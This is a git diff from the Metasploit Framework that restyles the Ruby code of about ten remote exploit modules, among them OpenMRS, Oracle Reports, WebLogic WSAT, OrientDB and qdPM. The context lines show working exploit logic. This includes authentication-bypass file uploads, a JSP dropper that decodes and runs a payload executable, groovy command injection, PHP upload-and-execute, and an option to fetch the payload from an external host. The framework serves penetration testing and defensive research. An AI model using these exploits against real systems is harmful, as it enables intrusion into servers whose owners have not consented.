get_plugin_jar(plugin_name) arch = target.arch plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]] - if (p = exploit_regenerate_payload(plat, arch)) == nil - print_error("Failed to regenerate payload") + if (exploit_regenerate_payload(plat, arch)).nil? + print_error('Failed to regenerate payload') return end @@ -201,14 +201,14 @@ class MetasploitModule < Msf::Exploit::Remote 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Content-Length' => data.length, - 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", + 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}" }, 'vars_get' => { 'uploadplugin' => nil } }) - print_warning("Warning: got no response from the upload, continuing...") if !res + print_warning('Warning: got no response from the upload, continuing...') if !res # Delete the uploaded JAR file if datastore['REMOVE_PLUGIN'] @@ -217,13 +217,13 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(base, 'setup/setup-/../../plugin-admin.jsp'), 'encode_params' => false, 'headers' => { - 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}", + 'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}" }, 'vars_get' => { 'deleteplugin' => plugin_name.downcase } }) - if not res + if !res print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.") end end diff --git a/modules/exploits/multi/http/openmrs_deserialization.rb b/modules/exploits/multi/http/openmrs_deserialization.rb index 4c9626f8aa..e571997da3 100644 --- a/modules/exploits/multi/http/openmrs_deserialization.rb +++ b/modules/exploits/multi/http/openmrs_deserialization.rb @@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi!('method' => 'GET', 'uri' => normalize_uri(target_uri.path)) - return CheckCode::Unknown("OpenMRS page unreachable.") unless res + return CheckCode::Unknown('OpenMRS page unreachable.') unless res return CheckCode::Safe('Page discovered is not OpenMRS.') unless res.body.downcase.include?('openmrs') @@ -97,19 +97,19 @@ class MetasploitModule < Msf::Exploit::Remote def format_payload payload_data = payload.encoded.to_s.encode(xml: :text) payload_arr = payload_data.split(' ', 3) - payload_arr.map { |arg| "<string>#{arg}</string>" }.join.gsub("'", "") + payload_arr.map { |arg| "<string>#{arg}</string>" }.join.gsub("'", '') end def read_payload_data(payload_cmd) # payload generated with Marshalsec erb_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-19276', 'payload.erb') payload_data = File.binread(erb_path) - payload_data = ERB.new(payload_data).result(binding) + ERB.new(payload_data).result(binding) rescue Errno::ENOENT fail_with(Failure::NotFound, "Failed to find erb file at the given path: #{erb_path}") end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) cmd = cmd.encode(xml: :text) xml_data = "<string>sh</string><string>-c</string><string>#{cmd}</string>" rest_uri = normalize_uri(target_uri.path, 'ws', 'rest', 'v1', 'concept') @@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - cmds = generate_cmdstager(:concat_operator => '&&') + cmds = generate_cmdstager(concat_operator: '&&') print_status('Sending payload...') cmds.first.split('&&').map { |cmd| execute_command(cmd) } end diff --git a/modules/exploits/multi/http/oracle_ats_file_upload.rb b/modules/exploits/multi/http/oracle_ats_file_upload.rb index e340979b91..e681a66703 100644 --- a/modules/exploits/multi/http/oracle_ats_file_upload.rb +++ b/modules/exploits/multi/http/oracle_ats_file_upload.rb @@ -24,17 +24,17 @@ class MetasploitModule < Msf::Exploit::Remote 'wvu' # Metasploit module ], 'References' => [ - %w{CVE 2016-0492}, # Auth bypass - %w{CVE 2016-0491}, # File upload - %w{EDB 39691} # PoC + %w[CVE 2016-0492], # Auth bypass + %w[CVE 2016-0491], # File upload + %w[EDB 39691] # PoC ], 'DisclosureDate' => '2016-01-20', 'License' => MSF_LICENSE, 'Arch' => ARCH_JAVA, 'Privileged' => true, 'Targets' => [ - ['OATS <= 12.4.0.2.0 (Windows)', 'Platform' => 'win'], - ['OATS <= 12.4.0.2.0 (Linux)', 'Platform' => 'linux'] + ['OATS <= 12.4.0.2.0 (Windows)', { 'Platform' => 'win' }], + ['OATS <= 12.4.0.2.0 (Linux)', { 'Platform' => 'linux' }] ], 'DefaultTarget' => 0, 'Notes' => { @@ -79,7 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote mime.add_part('', nil, nil, 'form-data; name="fileName4"') # Not needed mime.add_part('*', nil, nil, 'form-data; name="fileType"') mime.add_part(payload.encoded, 'text/plain', nil, - %Q{form-data; name="file1"; filename="#{jsp_filename}"}) + %(form-data; name="file1"; filename="#{jsp_filename}")) mime.add_part('Default', nil, nil, 'form-data; name="storage.repository"') mime.add_part('.', nil, nil, 'form-data; name="storage.workspace"') mime.add_part(jsp_directory, nil, nil, 'form-data; name="directory"') diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb index e4ef2f3433..50e1e7a2ad 100644 --- a/modules/exploits/multi/http/oracle_reports_rce.rb +++ b/modules/exploits/multi/http/oracle_reports_rce.rb @@ -36,11 +36,11 @@ class MetasploitModule < Msf::Exploit::Remote ], 'License' => MSF_LICENSE, 'References' => [ - [ "CVE", "2012-3152" ], - [ "CVE", "2012-3153" ], - [ "OSVDB", "86395" ], # Matches CVE-2012-3152 - [ "OSVDB", "86394" ], # Matches CVE-2012-3153 - [ "EDB", "31253" ] + [ 'CVE', '2012-3152' ], + [ 'CVE', '2012-3153' ], + [ 'OSVDB', '86395' ], # Matches CVE-2012-3152 + [ 'OSVDB', '86394' ], # Matches CVE-2012-3153 + [ 'EDB', '31253' ] ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ @@ -70,8 +70,8 @@ class MetasploitModule < Msf::Exploit::Remote ) register_options( [ - OptString.new('EXTURL', [false, 'An external host to request the payload from', "" ]), - OptString.new('PAYDIR', [true, 'The folder to download the payload to', "/images/" ]), + OptString.new('EXTURL', [false, 'An external host to request the payload from', '' ]), + OptString.new('PAYDIR', [true, 'The folder to download the payload to', '/images/' ]), OptInt.new('HTTPDELAY', [false, 'Time that the HTTP Server will wait for the payload request', 10]), ] ) @@ -79,25 +79,25 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"), + 'uri' => normalize_uri(target_uri.path, '/reports/rwservlet/showenv'), 'method' => 'GET' }) if res and res.code == 200 if res.body =~ /\\(.*)\\showenv/ - vprint_good "Windows install detected " - path = $1.gsub("\\", "/") + vprint_good 'Windows install detected ' + path = ::Regexp.last_match(1).gsub('\\', '/') vprint_status "Path: #{path}" - elsif res.body =~ /\/(.*)\/showenv/ - vprint_good "Linux install detected" - vprint_status "Path: #{$1}" + elsif res.body =~ %r{/(.*)/showenv} + vprint_good 'Linux install detected' + vprint_status "Path: #{::Regexp.last_match(1)}" else return Exploit::CheckCode::Safe end end res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"), + 'uri' => normalize_uri(target_uri.path, '/reports/rwservlet'), 'method' => 'GET', 'vars_get' => { 'report' => 'test.rdf', @@ -108,11 +108,11 @@ class MetasploitModule < Msf::Exploit::Remote } }) - if res and res.code == 200 and res.body.downcase.exclude?("<html>") - vprint_good "URLPARAMETER is vulnerable" + if res and res.code == 200 and res.body.downcase.exclude?('<html>') + vprint_good 'URLPARAMETER is vulnerable' return Exploit::CheckCode::Vulnerable else - vprint_status "URLPARAMETER is not vulnerable" + vprint_status 'URLPARAMETER is not vulnerable' return Exploit::CheckCode::Safe end @@ -120,30 +120,30 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - @payload_url = "" - @payload_name = rand_text_alpha(8 + rand(8)) + ".jsp" + @payload_url = '' + @payload_name = rand_text_alpha(rand(8..15)) + '.jsp' @payload_dir = datastore['PAYDIR'] - @local_path = "" + @local_path = '' - print_status "Querying showenv!" + print_status 'Querying showenv!' res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/reports/rwservlet/showenv"), - 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/reports/rwservlet/showenv'), + 'method' => 'GET' }) if res and res.code == 200 if res.body =~ /\\(.*)\\showenv/ - print_good "Query succeeded!" - print_status "Windows install detected " - @local_path = $1.gsub("\\", "/") + print_good 'Query succeeded!' + print_status 'Windows install detected ' + @local_path = ::Regexp.last_match(1).gsub('\\', '/') print_status "Path: #{@local_path}" - elsif res.body =~ /\/(.*)\/showenv/ - print_good "Query succeeded!" - print_status "Linux install detected" - @local_path = $1 + elsif res.body =~ %r{/(.*)/showenv} + print_good 'Query succeeded!' + print_status 'Linux install detected' + @local_path = ::Regexp.last_match(1) print_status "Path: #{@local_path}" else - print_error "Query failed" + print_error 'Query failed' fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable") end else @@ -151,14 +151,14 @@ class MetasploitModule < Msf::Exploit::Remote end if datastore['EXTURL'].blank? - print_status "Hosting payload locally ..." + print_status 'Hosting payload locally ...' begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error end exec_payload else - print_status "Using external url for payload delivery ..." + print_status 'Using external url for payload delivery ...' @payload_url = datastore['EXTURL'] upload_payload exec_payload @@ -171,7 +171,7 @@ class MetasploitModule < Msf::Exploit::Remote upload_payload end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) send_response(cli, @pl) end @@ -180,10 +180,10 @@ class MetasploitModule < Msf::Exploit::Remote end def upload_payload - print_status "Uploading payload ..." + print_status 'Uploading payload ...' path = "/#{@local_path}#{@payload_dir}#{@payload_name}" res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/reports/rwservlet"), + 'uri' => normalize_uri(target_uri.path, '/reports/rwservlet'), 'method' => 'GET', 'encode_params' => false, 'vars_get' => { @@ -197,79 +197,79 @@ class MetasploitModule < Msf::Exploit::Remote }) if res and res.code == 200 - print_good "Payload hopefully uploaded!" + print_good 'Payload hopefully uploaded!' else - print_error "Payload upload failed" + print_error 'Payload upload failed' end end def gen_file_dropper big_payload = false # size matters :( - gen_payload_name = rand_text_alpha(8 + rand(8)) + gen_payload_name = rand_text_alpha(rand(8..15)) encoded_pl = Rex::Text.encode_base64(generate_payload_exe) - print_status "Building JSP shell ..." + print_status 'Building JSP shell ...' len = encoded_pl.length if len >= 60000 # java string size limit ~60k workaround - print_status "Adjusting shell due to payload size" + print_status 'Adjusting shell due to payload size' pl_first = encoded_pl.slice(0, 60000) pl_second = encoded_pl.slice(60000, len) big_payload = true end # embed our payload - shell = "<%@ page import=\"java.util.*,java.io.*, sun.misc.BASE64Decoder\"%>" - shell += " <%" - shell += " BASE64Decoder decoder = new BASE64Decoder();" + shell = '<%@ page import="java.util.*,java.io.*, sun.misc.BASE64Decoder"%>' + shell += ' <%' + shell += ' BASE64Decoder decoder = new BASE64Decoder();' # correct file suffix if windows if datastore['TARGET'] == 1 shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".exe\");" else shell += " File temp = File.createTempFile(\"#{gen_payload_name}\", \".tmp\");" end - shell += " String path = temp.getAbsolutePath();" + shell += ' String path = temp.getAbsolutePath();' if big_payload shell += " byte [] pl = decoder.decodeBuffer(\"#{pl_first}\");" shell += " byte [] pltwo = decoder.decodeBuffer(\"#{pl_second}\");" - shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));" - shell += " ou.write(pl);" - shell += " ou.close();" + shell += ' BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));' + shell += ' ou.write(pl);' + shell += ' ou.close();' - shell += " ou = new BufferedOutputStream(new FileOutputStream(path, true));" - shell += " ou.write(pltwo);" - shell += " ou.close();" + shell += ' ou = new BufferedOutputStream(new FileOutputStream(path, true));' + shell += ' ou.write(pltwo);' + shell += ' ou.close();' else shell += " byte [] pl = decoder.decodeBuffer(\"#{encoded_pl}\");" - shell += " BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));" - shell += " ou.write(pl);" - shell += " ou.close();" + shell += ' BufferedOutputStream ou = new BufferedOutputStream(new FileOutputStream(path));' + shell += ' ou.write(pl);' + shell += ' ou.close();' end # correct rights if linux host if datastore['TARGET'] == 0 - shell += " Process p = Runtime.getRuntime().exec(\"/bin/chmod 700 \" + path);" - shell += " p.waitFor();" + shell += ' Process p = Runtime.getRuntime().exec("/bin/chmod 700 " + path);' + shell += ' p.waitFor();' end - shell += " Runtime.getRuntime().exec(path);" - shell += "%>" + shell += ' Runtime.getRuntime().exec(path);' + shell += '%>' return shell end def exec_payload print_status("Our payload is at: /reports#{@payload_dir}#{@payload_name}") - print_status("Executing payload...") + print_status('Executing payload...') res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "reports", @payload_dir, @payload_name), + 'uri' => normalize_uri(target_uri.path, 'reports', @payload_dir, @payload_name), 'method' => 'GET' }) if res and res.code == 200 - print_good("Payload executed!") + print_good('Payload executed!') else - print_error("Payload execution failed") + print_error('Payload execution failed') end end end diff --git a/modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb b/modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb index 4ac47ac6c4..06b7842a02 100644 --- a/modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb +++ b/modules/exploits/multi/http/oracle_weblogic_wsat_deserialization_rce.rb @@ -54,8 +54,8 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new('TARGETURI', [true, 'The base path to the WebLogic WSAT endpoint', '/wls-wsat/CoordinatorPortType']), - OptPort.new('RPORT', [true, "The remote port that the WebLogic WSAT endpoint listens on", 7001]), - OptFloat.new('TIMEOUT', [true, "The timeout value of requests to RHOST", 20.0]), + OptPort.new('RPORT', [true, 'The remote port that the WebLogic WSAT endpoint listens on', 7001]), + OptFloat.new('TIMEOUT', [true, 'The timeout value of requests to RHOST', 20.0]), # OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the check payload', 10]) ]) end @@ -81,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote # def exploit_process_builder_payload # Generate a payload which will execute on a *nix machine using /bin/sh - xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> + %(<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> @@ -103,7 +103,7 @@ class MetasploitModule < Msf::Exploit::Remote </work:WorkContext> </soapenv:Header> <soapenv:Body/> -</soapenv:Envelope>} +</soapenv:Envelope>) end # @@ -111,7 +111,7 @@ class MetasploitModule < Msf::Exploit::Remote # from the target machine. # def check_process_builder_payload - xml = %Q{<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> + %(<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8" class="java.beans.XMLDecoder"> @@ -125,14 +125,14 @@ class MetasploitModule < Msf::Exploit::Remote </work:WorkContext> </soapenv:Header> <soapenv:Body/> -</soapenv:Envelope>} +</soapenv:Envelope>) end # # In the event that a 'check' host responds, we should respond randomly so that we don't clog up # the logs too much with a no response error or similar. # - def on_request_uri(cli, request) + def on_request_uri(cli, _request) random_content = '<html><head></head><body><p>' + Rex::Text.rand_text_alphanumeric(20) + '<p></body></html>' send_response(cli, random_content) diff --git a/modules/exploits/multi/http/orientdb_exec.rb b/modules/exploits/multi/http/orientdb_exec.rb index 5c5f9f858b..29bcab1359 100644 --- a/modules/exploits/multi/http/orientdb_exec.rb +++ b/modules/exploits/multi/http/orientdb_exec.rb @@ -73,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote def http_send_command(cmd, opts = {}) # 1 -Create the malicious function - func_name = Rex::Text::rand_text_alpha(5).downcase + func_name = Rex::Text.rand_text_alpha(5).downcase request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"), @@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote 'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}" } res = send_request_raw(request_parameters) - if not (res and res.code == 201) + if !(res and res.code == 201) begin json_body = JSON.parse(res.body) rescue JSON::ParserError @@ -96,10 +96,10 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' }, - 'data' => "" + 'data' => '' } req = send_request_raw(request_parameters) - if not (req and req.code == 200) + if !(req and req.code == 200) begin json_body = JSON.parse(res.body) rescue JSON::ParserError @@ -110,7 +110,7 @@ class MetasploitModule < Msf::Exploit::Remote # 3 - Get the malicious function id if res && res.body.length > 0 begin - json_body = JSON.parse(res.body)["@rid"] + json_body = JSON.parse(res.body)['@rid'] rescue JSON::ParserError fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.') return @@ -123,12 +123,12 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'headers' => { 'Accept' => '*/*' }, - 'data' => "" + 'data' => '' } rer = send_request_raw(request_parameters) - if not (rer and rer.code == 204) + if !(rer and rer.code == 204) begin - json_body = JSON.parse(res.body) + JSON.parse(res.body) rescue JSON::ParserError fail_with(Failure::Unknown, 'Failed to delete the malicious function.') return @@ -155,27 +155,27 @@ class MetasploitModule < Msf::Exploit::Remote jcode end - def on_new_session(client) - if not @to_delete.nil? + def on_new_session(_client) + if !@to_delete.nil? print_warning("Deleting #{@to_delete} payload file") execute_command("rm #{@to_delete}") end end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) vprint_status("Attempting to execute: #{cmd}") @uri = target_uri @uri.path = normalize_uri(@uri.path) res = send_request_raw({ 'uri' => "#{@uri.path}listDatabases" }) if res && res.code == 200 && res.body.length > 0 begin - json_body = JSON.parse(res.body)["databases"] + json_body = JSON.parse(res.body)['databases'] rescue JSON::ParserError - print_error("Unable to parse JSON") + print_error('Unable to parse JSON') return end else - print_error("Timeout or unexpected response...") + print_error('Timeout or unexpected response...') return end targetdb = json_body[0] @@ -183,13 +183,13 @@ class MetasploitModule < Msf::Exploit::Remote end def linux_stager - cmds = "echo LINE | tee FILE" + cmds = 'echo LINE | tee FILE' exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) base64 = Rex::Text.encode_base64(exe) - base64.gsub!(/\=/, "\\u003d") - file = rand_text_alphanumeric(4 + rand(4)) + base64.gsub!(/=/, '\\u003d') + file = rand_text_alphanumeric(rand(4..7)) execute_command("touch /tmp/#{file}.b64") - cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + cmds.gsub!(/FILE/, '/tmp/' + file + '.b64') base64.each_line do |line| line.chomp! cmd = cmds @@ -209,13 +209,13 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_raw({ 'uri' => "#{@uri.path}listDatabases" }) if res && res.code == 200 && res.body.length > 0 begin - json_body = JSON.parse(res.body)["databases"] + json_body = JSON.parse(res.body)['databases'] rescue JSON::ParserError - print_error("Unable to parse JSON") + print_error('Unable to parse JSON') return end else - print_error("Timeout or unexpected response...") + print_error('Timeout or unexpected response...') return end targetdb = json_body[0] diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb index b492e6c8b3..bdcf583cfc 100644 --- a/modules/exploits/multi/http/phpfilemanager_rce.rb +++ b/modules/exploits/multi/http/phpfilemanager_rce.rb @@ -83,12 +83,12 @@ class MetasploitModule < Msf::Exploit::Remote }) if res.nil? - vprint_error("Connection timed out") - fail_with(Failure::Unknown, "Failed to trigger the Enter button") + vprint_error('Connection timed out') + fail_with(Failure::Unknown, 'Failed to trigger the Enter button') end if res && res.headers && res.code == 302 - print_good("Logged in to the file manager") + print_good('Logged in to the file manager') cookie = res.get_cookies cookie else @@ -108,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote } }) unless res && res.code == 200 - fail_with(Failure::Unknown, "Failed to execute the command.") + fail_with(Failure::Unknown, 'Failed to execute the command.') end res end diff --git a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb index 25b6bac3d7..2803d816f5 100644 --- a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb +++ b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb @@ -31,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'https://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public ], 'Payload' => { - 'BadChars' => "\x00", + 'BadChars' => "\x00" }, 'Platform' => 'php', 'Targets' => [ @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote uri = target_uri.path payload_name = "#{rand_text_alpha(8)}.php" - php_payload = get_write_exec_payload(:unlink_self => true) + php_payload = get_write_exec_payload(unlink_self: true) res = send_request_cgi({ 'uri' => normalize_uri(uri + '/index.php/HeIp'), @@ -73,11 +73,11 @@ class MetasploitModule < Msf::Exploit::Remote } }) - if not res or res.code != 200 + if !res or res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end - upload_uri = normalize_uri(uri + "/" + payload_name) + upload_uri = normalize_uri(uri + '/' + payload_name) print_status("Executing payload #{payload_name}") send_request_raw({ 'uri' => upload_uri, diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index 457376ed96..e22f4ff030 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'OSVDB', '90627' ] ], 'Payload' => { - 'BadChars' => "\x00", + 'BadChars' => "\x00" }, 'Platform' => 'php', 'Targets' => [ @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(uri, 'includes', 'jquery.uploadify', 'upload.php') }) - if not res or res.code != 200 + if !res or res.code != 200 return Exploit::CheckCode::Safe end @@ -76,11 +76,11 @@ class MetasploitModule < Msf::Exploit::Remote peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" - php_payload = get_write_exec_payload(:unlink_self => true) + php_payload = get_write_exec_payload(unlink_self: true) data = Rex::MIME::Message.new - data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") - data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/', nil, nil, "form-data; name=\"folder\"")) + data.add_part(php_payload, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") + data.add_part(normalize_uri(uri, 'includes', 'jquery.uploadify/', nil, nil, 'form-data; name="folder"')) post_data = data.to_s print_status("Uploading payload #{@payload_name}") res = send_request_cgi({ @@ -89,13 +89,13 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) - if not res or res.code != 200 + if !res or res.code != 200 fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end upload_uri = "#{upload_dir}#{@payload_name}" print_status("Executing payload #{@payload_name}") - res = send_request_raw({ + send_request_raw({ 'uri' => upload_uri, 'method' => 'GET' }) diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 5b2046309d..b705da711c 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "qdPM v7 Arbitrary PHP File Upload Vulnerability", + 'Name' => 'qdPM v7 Arbitrary PHP File Upload Vulnerability', 'Description' => %q{ This module exploits a vulnerability found in qdPM - a web-based project management software. The user profile's photo upload feature can be abused to upload any @@ -68,18 +68,19 @@ class MetasploitModule < Msf::Exploit::Remote uri << '/' if uri[-1, 1] != '/' base = File.dirname("#{uri}.") - res = send_request_raw({ 'uri' => normalize_uri(base, "/index.php") }) - if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m - major, minor = $1, $2 + res = send_request_raw({ 'uri' => normalize_uri(base, '/index.php') }) + if res and res.body =~ %r{<div id="footer">.+qdPM (\d)\.(\d).+</div>}m + major = ::Regexp.last_match(1) + minor = ::Regexp.last_match(2) return Exploit::CheckCode::Appears if (major + minor).to_i <= 70 end return Exploit::CheckCode::Safe end - def get_write_exec_payload(fname, data) + def get_write_exec_payload(fname, _data) p = Rex::Text.encode_base64(generate_payload_exe) - php = %Q| + php = %| <?php $f = fopen("#{fname}", "wb"); fwrite($f, base64_decode("#{p}")); @@ -93,8 +94,8 @@ class MetasploitModule < Msf::Exploit::Remote end def on_new_session(cli) - if cli.type == "meterpreter" - cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") + if (cli.type == 'meterpreter') && (!cli.ext.aliases.include?('stdapi')) + cli.core.use('stdapi') end @clean_files.each do |f| @@ -129,19 +130,19 @@ class MetasploitModule < Msf::Exploit::Remote } }) - cookie = (res and res.get_cookies =~ /qdpm\=.+\;/) ? res.get_cookies : '' + cookie = (res and res.get_cookies =~ /qdpm=.+;/) ? res.get_cookies : '' return {} if cookie.empty? - cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0] + cookie = cookie.to_s.scan(/(qdpm=\w+);/).flatten[0] # Get user data - vprint_status("Enumerating user data") + vprint_status('Enumerating user data') res = send_request_raw({ 'uri' => "#{base}/index.php/home/myAccount", 'cookie' => cookie }) - return {} if not res + return {} if !res if res.code == 404 print_error("#{username} does not actually have a 'myAccount' page") @@ -150,9 +151,9 @@ class MetasploitModule < Msf::Exploit::Remote b = res.body - user_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[id\]\" value\=\"(.+)\" id\=\"users\_id\" \/\>/).flatten[0] || '' - group_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[users\_group\_id\]\" value\=\"(.+)\" id\=\"users\_users\_group\_id\" \/>/).flatten[0] || '' - user_active = b.scan(/\<input type\=\"hidden\" name\=\"users\[active\]\" value\=\"(.+)\" id\=\"users\_active\" \/\>/).flatten[0] || '' + user_id = b.scan(%r{<input type="hidden" name="users\[id\]" value="(.+)" id="users_id" />}).flatten[0] || '' + group_id = b.scan(%r{<input type="hidden" name="users\[users_group_id\]" value="(.+)" id="users_users_group_id" />}).flatten[0] || '' + user_active = b.scan(%r{<input type="hidden" name="users\[active\]" value="(.+)" id="users_active" />}).flatten[0] || '' opts = { 'cookie' => cookie, @@ -202,7 +203,7 @@ class MetasploitModule < Msf::Exploit::Remote } }) - return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false + return (res and res.headers['Location'] =~ %r{home/myAccount$}) ? true : false end def exec_php(base, opts) @@ -214,14 +215,14 @@ class MetasploitModule < Msf::Exploit::Remote 'cookie' => cookie }) - if not res - print_error("Unable to request the file") + if !res + print_error('Unable to request the file') return end - fname = res.body.scan(/\<input type\=\"hidden\" name\=\"preview\_photo\" id\=\"preview\_photo\" value\=\"(\d+\-\w+\.php)\" \/\>/).flatten[0] || '' + fname = res.body.scan(%r{<input type="hidden" name="preview_photo" id="preview_photo" value="(\d+-\w+\.php)" />}).flatten[0] || '' if fname.empty? - print_error("Unable to extract the real filename") + print_error('Unable to extract the real filename') return end @@ -241,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Attempt to login with '#{user}:#{pass}'") opts = login(base, user, pass) if opts.empty? - print_error("Login unsuccessful") + print_error('Login unsuccessful') return end @@ -258,16 +259,16 @@ class MetasploitModule < Msf::Exploit::Remote p = get_write_exec_payload("/tmp/#{bin_name}", bin) end - print_status("Uploading PHP payload (#{p.length.to_s} bytes)...") + print_status("Uploading PHP payload (#{p.length} bytes)...") opts = opts.merge({ - 'username' => user.scan(/^(.+)\@.+/).flatten[0] || '', + 'username' => user.scan(/^(.+)@.+/).flatten[0] || '', 'email' => user, 'filename' => php_fname, 'data' => p }) uploader = upload_php(base, opts) - if not uploader - print_error("Unable to upload") + if !uploader + print_error('Unable to upload') return end diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb index 621b198766..7e8e148cf7 100644 --- a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb +++ b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb @@ -89,8 +89,8 @@ class MetasploitModule < Msf::Exploit::Remote register_advanced_options( [ OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]), - OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]), - OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ]) + OptString.new('WINDIR', [ true, 'The Windows Directory name', 'WINDOWS' ]), + OptString.new('TEMP_DIR', [ false, 'A directory where we can write files' ]) ] ) end @@ -113,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote elsif os == 'linux' && target.name =~ /Windows/ fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected") elsif os.nil? - print_warning("Failed to detect remote operating system, trying anyway...") 